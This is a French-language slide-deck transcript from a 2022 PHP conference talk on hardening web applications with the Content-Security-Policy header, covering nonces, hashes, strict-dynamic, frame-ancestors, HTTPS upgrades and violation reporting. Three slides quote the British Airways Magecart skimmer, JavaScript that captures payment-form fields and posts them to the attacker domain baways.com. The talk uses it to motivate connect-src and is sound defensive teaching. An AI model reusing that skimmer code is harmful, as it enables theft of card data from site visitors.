Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Protéger votre application avec l’en-tête HTTP de sécurité « Content Security Policy »

Protéger votre application avec l’en-tête HTTP de sécurité « Content Security Policy »

Chaque jour, de nombreux sites sont la cible d'attaques XSS, CSRF, clickjacking ou d'autres joyeusetés. Les conséquences sont souvent bénignes mais peuvent être autrement plus graves quand il s'agit de vol de données, de diffusion de malware ou de defacing de site.

Heureusement, de nouveaux mécanismes de sécurité proposés par les navigateurs Web offrent aux développeurs des moyens de (mieux) protéger leurs applications. Dans le cadre de cette présentation, nous verrons comment les mettre en œuvre progressivement et sans douleur.

Laurent Brunet

October 14, 2022
Tweet

Other Decks in Programming

Transcript

  1. Protéger votre application avec l’en-tête HTTP de sécurité « Content

    Security Policy » 🔒 Forum PHP - 2022 13 & 14 octobre 2022
  2. Laurent BRUNET Je suis développeur (PHP, Symfony, JavaScript, …) Depuis

    2014 je travaille chez @lbrunet_com https://github.com/lbrunet
  3. Content Security Policy (CSP) C’est une stratégie de sécurité de

    contenu afin d’améliorer la sécurité des sites web. Ça permet de réduire plusieurs types d’attaques mais aussi de contrôler les ressources chargées de votre application à partir d’origines définies.
  4. content-security-policy: upgrade-insecure-requests; default-src 'none'; connect-src 'self'; base-uri 'self'; manifest-src 'self';

    style-src 'self' 'report-sample'; script-src 'sha256-QVbGeiuKqN6HXG2O50yELYBKpDjp9ZeKdPkutfY2wMw=' 'strict-dynamic' 'unsafe-inline' https: 'nonce-dffa56564a26735caf3a08be908df77316' 'report-sample'; frame-ancestors 'none'; object-src 'none'; img-src https: data:; font-src 'self'; form-action 'self'; report-uri https://p4x572p4.uriports.com/reports/enforce; report-to default https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#directives
  5. Quelles sont les menaces qu’on peut empêcher ? 1. Attaque

    XSS 2. Clickjacking 3. Protocoles sécurisés 4. Réduire les attaques Magecart
  6. Liste blanche Content-Security-Policy script-src 'self' *.pinterest.com *.pinimg.com *.google.com connect.facebook.net *.google-analytics.com

    *.accountkit.com *.facebook.com *.googletagmanager.com *.branch.io *.yozio.com cdn.ampproject.org *.cdn.ampproject.org radar.cedexis.com static.zdassets.com ekr.zdassets.com *.zopim.com *.zopim.org *.zopim.io; https://analytics.tiktok.com https://cdn.cookielaw.org/scripttemplates/ https://js.datadome.co https://www.dwin1.com/ https://cdn.polyfill.io https://widget.simplybook.pro/ https://*.app.smart-tribune.com https://connect.facebook.net/ https://cdn.pbbl.co/ https://*.takingbackjuly.com/ https://embed.typeform.com https://*.inside-graph.com/ https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location https://googleads.g.doubleclick.net/ https://intgepi.bglobale.com https://maps.googleapis.com/
  7. La liste blanche cassée 😱 95 % des politiques CSP

    peuvent facilement être contournées ! En 2016, Google publie une étude qui révèle que la liste blanche serait contournable et non sécurisée. Dans cette étude, Google propose une nouvelle façon de gérer les scripts, en utilisant le mot clé strict-dynamic.
  8. Mode strict 💪 • ‘unsafe-inline’ • self • https: ||

    http: • whitelists • nonce-XXXX • sha256-XXXX • sha384-XXXX • sha512-XXXX Content-Security-Policy script-src 'sha256-Shc9zyGHe0eDIj8DYmcqZpX2gGW1wFcjo+6iwlq/WaQ=' 'strict-dynamic' 'nonce-rfOHm1spSuNZWnfsKipedA==';
  9. Nonce et Hashe Les “nonces” et “hashes” autorisent le navigateur

    à charger explicitement chaque script (en ligne ou externe), tout en empêchant des scripts injectés par une tierce personne. Content-Security-Policy script-src 'sha256-Shc9zyGHe0eDIj8DYmcqZpX2gGW1wFcjo+6iwlq/WaQ=' 'strict-dynamic' 'nonce-rfOHm1spSuNZWnfsKipedA==';
  10. Nonces Nonce : Number used Once (« numéro utilisé une

    seule fois »). Encore une fois, cela se définit dans les directives : Directive script-src 'nonce-rAnd00m' ; HTML <script nonce="rAnd00m">…</script> PHP bin2hex(random_bytes(16));
  11. Mettre en place le mode strict 1/2 • Ajouter l’attribut

    nonce à tous les scripts • Pour du code statique, utiliser les hashes • Revoir tout balisage des gestionnaires d’événements en ligne ❌ ✅ <script> function doThings() { ... } </script> <span onclick="doThings();">A thing.</span> <span id="things">A thing.</span> <script nonce="${nonce}"> document.addEventListener('DOMContentLoaded', function () { document.getElementById('things') .addEventListener('click', function doThings() { ... }); }); </script>
  12. Mettre en place le mode strict 2/2 CSP3 avec support

    strict-dynamic Chrome 52+ - Firefox 52+ script-src 'nonce-r4nd0m' https: 'strict-dynamic' 'unsafe-inline' *.site.com; CSP2 avec support nonce script-src 'nonce-r4nd0m' https: 'strict-dynamic' 'unsafe-inline' *.site.com; CSP1 pas de support nonce script-src 'nonce-r4nd0m' https: 'strict-dynamic' 'unsafe-inline' *.site.com;
  13. Nous avons une en-tête pour indiquer si un navigateur devrait

    être autorisé à afficher une page au sein d'un élément <frame>, <iframe>, <embed> ou <object>. X-Frame-Options: SAMEORIGIN X-Frame-Options: DENY Les options sont assez basique, soit n'autorise rien, soit on autorise la même origine.
  14. frame-ancestor 🖼 Avec cette directive, on peut sécuriser mais aussi

    autoriser des iframes partenaires. frame-ancestors 'none'; frame-ancestors 'self' https://www.site.com;
  15. Avec les CSP, on peut forcer le chargement des ressources

    uniquement via https sur n’importe quel domaine Forcer toutes les images à être chargées sur https img-src 'self' https:; Définir la politique par défaut pour charger toutes les ressources via https ou wss default-src 'self' https: wss:;
  16. Directive `upgrade-insecure-requests` 👏 Cette directive oblige le navigateur à mettre

    à niveau toute requête non sécurisée vers une requête sécurisée avant d'émettre cette requête. Avant <img src="http://site.com/logo.png"> Après <img src="https://site.com/logo.png"> Avant que la demande ne soit émise.
  17. Identifier les requêtes non sécurisées 🔗 De cette manière, vous

    convertirez toujours les requêtes non sécurisées sur votre site sécurisé mais la stratégie non bloquante identifiera les requêtes non sécurisées et les rapportera à l'adresse fournie. Content-Security-Policy: upgrade-insecure-requests; default-src https: Content-Security-Policy-Report-Only: default-src https:; report-uri /endpoint
  18. Content-Security-Policy-Report-Only ✍ default-src https:; report-uri https://p4x572p4.uriports.com/reports/enforce; report-to default { "group":"default",

    "max_age":10886400, "endpoints":[ { "url":"https://p4x572p4.uriports.com/reports" } ], "include_subdomains":true } report-uri report-to
  19. Outils 🧰 • report-uri.com (plan gratuit - 10 000 reports

    / mois) [$0/mois] • uriports.com (plan gratuit 1 mois - 10 000 reports / mois) [$12/mois] • csper.io (plan gratuit 14 jours - 100 000 reports / mois) [$50/mois] • sentry.io (plan gratuit - ? reports / mois) • datadoghq.com (plan gratuit 14 jours - ? reports / mois) • raygun.com (plan gratuit 14 jours - ? reports / mois)
  20. Kézako Magecart (formjacking) ? Ce sont des attaques assez ciblées

    qui injectent du code afin de récupérer des données bancaires (saisie de carte bleue) dans des bibliothèques tierces compromises. Beaucoup de grandes entreprises ont été touchées par Magecart. Les attaquants ont créé de faux domaines, tels que cigarpaqe.com, qui ressemble au véritable domaine cigarpage.com. De même, fleldsupply.com pour fieldsupply.com et winqsupply.com pour wingsupply.com pour inciter les gens à exposer leurs informations d'identification.
  21. window.onload = function() { jQuery("#submitButton").bind("mouseup touchend", function(a)) { var n

    = {}; jQuery("#paymentForm").serializeArray().map(function(a){ n[a.name] = a.value }); var e = document.getElementById("personPaying").innerHTML; n.person = e; var t = JSON.stringify(n); setTimeout(function() { jQuery.ajax({ type: "POST", async: !0, url: "https://baways.com/gateway/app/dataprocessing/api", data: t, dataType: "application/json" }) }, 500) }) }; https://www.riskiq.com/blog/external-threat-management/magecart-british-airways-breach/
  22. window.onload = function() { jQuery("#submitButton").bind("mouseup touchend", function(a)) { var n

    = {}; jQuery("#paymentForm").serializeArray().map(function(a){ n[a.name] = a.value }); var e = document.getElementById("personPaying").innerHTML; n.person = e; var t = JSON.stringify(n); setTimeout(function() { jQuery.ajax({ type: "POST", async: !0, url: "https://baways.com/gateway/app/dataprocessing/api", data: t, dataType: "application/json" }) }, 500) }) }; https://www.riskiq.com/blog/external-threat-management/magecart-british-airways-breach/ Récupération des données du formulaire de paiement
  23. window.onload = function() { jQuery("#submitButton").bind("mouseup touchend", function(a)) { var n

    = {}; jQuery("#paymentForm").serializeArray().map(function(a){ n[a.name] = a.value }); var e = document.getElementById("personPaying").innerHTML; n.person = e; var t = JSON.stringify(n); setTimeout(function() { jQuery.ajax({ type: "POST", async: !0, url: "https://baways.com/gateway/app/dataprocessing/api", data: t, dataType: "application/json" }) }, 500) }) }; https://www.riskiq.com/blog/external-threat-management/magecart-british-airways-breach/ Envoyer les données au domaine de l'attaquant
  24. connect-src 1/2 ⏳ Cette directive restreint les URL qui peuvent

    être chargées en utilisant des interfaces de programmation. Les API concernées sont : • fetch • XMLHttpRequest • WebSocket • EventSource • Navigator.sendBeacon() Cette directive CSP est recommandée pour les pages sensibles telles que la page de paiement afin d'empêcher l'exfiltration de données.
  25. connect-src 2/2 ⌛ connect-src 'none'; Bloquer les appels AJAX Bloquer

    les appels AJAX qui n’ont pas la même origine connect-src 'self';
  26. Récapitulatif 🥁 • Utiliser Content-Security-Policy-Report-Only • Utiliser report-uri et report-to

    • Utiliser du mot clé 'strict-dynamic' pour les scripts • Utiliser des nonces ou des hashes pour les scripts • Activer les protocoles sécurisés https: wss: • Utiliser frame-ancestors pour la gestion des iframes • Utiliser connect-src pour la gestion des appels API (fetch; XMLHttprequest, ...)
  27. Directives 🛡 • base-uri • child-src • connect-src • default-src

    • font-src • form-action • frame-ancestor • frame-src • img-src • manifest-src • media-src • object-src • sandbox • script-src • script-src-attr • script-src-elem • trusted-type • style-src • worker-src • navigate-to • …
  28. Merci 👏 @lbrunet_com https://github.com/lbrunet • https://lbrunet.github.io/Plongee-dans-les-CSP/#cover • https://scotthelme.co.uk/ • https://web.dev/csp/

    • https://www.troyhunt.com/tag/csp/ • https://developer.mozilla.org/fr/docs/Web/HTTP/Headers/Content-Security-Policy • https://www.w3.org/TR/CSP2/ • https://www.w3.org/TR/CSP3/ • https://csp.withgoogle.com/docs/index.html https://joind.in/event/forum-php-2022